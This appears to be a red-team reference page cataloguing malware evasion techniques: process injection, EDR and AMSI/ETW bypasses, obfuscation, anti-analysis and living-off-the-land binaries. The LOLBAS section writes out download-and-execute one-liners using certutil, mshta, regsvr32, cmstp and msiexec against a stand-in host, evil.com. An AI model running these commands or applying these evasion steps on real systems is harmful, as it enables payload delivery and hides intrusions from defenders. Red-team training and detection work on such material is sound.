What is Evasion?
Evasion techniques allow malware and penetration testing tools to bypass security controls, avoid detection by EDR solutions, and execute malicious code without triggering alerts. These techniques are critical for red team operations and advanced threat simulations.

💉 Process Injection

DLL Injection

ATT&CK T1055.001 Expert

Inject malicious DLL into running process via CreateRemoteThread and LoadLibrary. Classic technique used by malware.

Full Guide

Process Hollowing

ATT&CK T1055.008 Expert

Unmap legitimate process and replace with malicious code. Create target process in suspended state, then hollow it out.

Full Guide

Process Doppelgänging

ATT&CK T1055.009 Expert

Use NTFS transactions to replace executable at rest while running process from cached version. Bypasses file-based AV.

Full Guide

APC Injection

ATT&CK T1055.004 Advanced

Queue Asynchronous Procedure Calls to threads in alertable state. Fire-and-forget execution before threads return to user code.

Full Guide

Early Bird Injection

ATT&CK T1055.001 Expert

Inject shellcode before target process reaches its entry point. Injects during ntdll initialization phase.

Full Guide

Thread Local Storage Injection

ATT&CK T1055.005 Advanced

Manipulate TLS callbacks to redirect execution to malicious code when process or thread starts.

Full Guide

🛡️ EDR Bypass Techniques

DLL Unhooking

Custom Expert

Restore hooked API functions by copying clean .text sections from disk. Removes EDR inline hooks from ntdll, kernel32, etc.

Full Guide

ETW Blocking

Custom Advanced

Patch EtwEventWrite and EtwTiLogOnstackEvent to block ETW telemetry. Prevents kernel event tracing.

Full Guide

AMSI Bypass

Custom Advanced

Patch AmsiScanBuffer and AmsiScanString to always return AMSI_RESULT_CLEAN. Enables PowerShell script execution.

Full Guide

Direct Syscalls

Custom Expert

Bypass user-land hooks by making direct system calls to ntdll. Use syscall numbers to call kernel directly.

Full Guide

Heaven's Gate

Custom Expert

Execute 64-bit code from 32-bit process via far jump to 64-bit code segment. Bypasses 32-bit monitoring.

Full Guide

Timing Attacks

Custom Advanced

Use Sleep() and Calculate elapsed time to detect instrumentation. Sleep longer if being debugged.

Full Guide

🔐 Code Obfuscation

Payload Packers

T1027.002 Advanced

Compress and encrypt executables. Decrypt at runtime in memory. UPX, custom packers with anti-debugging.

Full Guide

Shellcode Encryption

T1027.001 Advanced

Encrypt shellcode with AES-256. Decrypt key stored separately or derived at runtime. Obfuscate strings.

Full Guide

Polymorphic Code

T1027.001 Expert

Self-modifying code that changes appearance on each execution. Use junk code insertion and register randomization.

Full Guide

XOR Obfuscation

T1027.001 Intermediate

Simple XOR encoding with single or multi-byte keys. Decode at runtime before execution.

Full Guide

🎭 Defense Evasion

Parent PID Spoofing

T1134.004 Advanced

Spawn processes with spoofed parent PID (explorer.exe). Makes attribution harder and avoids monitoring.

Full Guide

Masquerading

T1036 Intermediate

Rename malicious executables to match system binaries. Use Windows\System32 paths to appear legitimate.

Full Guide

Timestomping

T1070.006 Intermediate

Modify file timestamps (create/modify/access) to match legitimate files or blend with existing files.

Full Guide

File Deletion

T1070.004 Intermediate

Delete files after use using native tools (cmd.exe del) or direct syscalls to avoid recycle bin.

Full Guide

Network Evasion

T1090 Advanced

Use domain fronting, encrypted C2 channels, and fast-flux DNS to avoid network-based detection.

Full Guide

Service Root

T1569.002 Advanced

Run malicious code as a Windows service via sc.exe or direct service API calls with SYSTEM privileges.

Full Guide

🔍 Anti-Analysis Techniques

Anti-Debugging

T1143 Advanced

Detect debugger presence using IsDebuggerPresent, CheckRemoteDebuggerPresent, NtQueryInformationProcess.

Full Guide

Anti-VM Detection

T1497.001 Advanced

Detect virtualized environments via CPUID, MAC addresses, registry keys, WMIC output, and hardware artifacts.

Full Guide

Anti-Sandbox

T1497 Advanced

Detect sandbox by checking user count, running processes, sample folder paths, and idle time.

Full Guide

Memory Scrubbing

Custom Expert

Clear forensic evidence from memory after execution. Zero out allocated memory regions before freeing.

Full Guide

🧪 LOLBAS (Living Off the Land)

CertUtil Download

T1105 Intermediate

certutil.exe -urlcache -split -f http://evil.com/payload.exe payload.exe

Full Guide

MSHTA Execution

T1218.003 Intermediate

mshta.exe http://evil.com/payload.hta - Execute HTA content from URL or local file.

Full Guide

MSBuild

T1127 Advanced

Execute inline C# code via MSBuild.exe. No compiler needed, executes in clean process.

Full Guide

Regsvr32

T1218.010 Intermediate

regsvr32.exe /s /n /u /i:http://evil.com/file.sct - Execute via SCT scriptlet.

Full Guide

CMSTP

T1218.003 Intermediate

cmstp.exe /s /ns http://evil.com/payload.inf - Bypass UAC and execute via CMSTP.

Full Guide

Msiexec

T1218.007 Intermediate

msiexec.exe /q /i http://evil.com/payload.msi - Execute via MSI package.

Full Guide

🛠️ Essential Tools

Cobalt Strike

Commercial red team C2 framework with built-in evasion capabilities, process injection, and lateral movement.

Covenant

Open-source .NET-based C2 framework with strong cross-platform support and built-in evasion features.

Sliver

Open-source C2 framework by Bishop Fox with implant generation, process injection, and EDR bypass.

PE-Sieve

Memory forensics tool to detect process hollowing, Doppelgänging, and other injection techniques.

Frida

Dynamic instrumentation toolkit for hooking, tracing, and manipulating running processes at runtime.

UnhookPE

Tool to unhook EDR DLL hooks by restoring original functions from disk-loaded copies.

Back to Home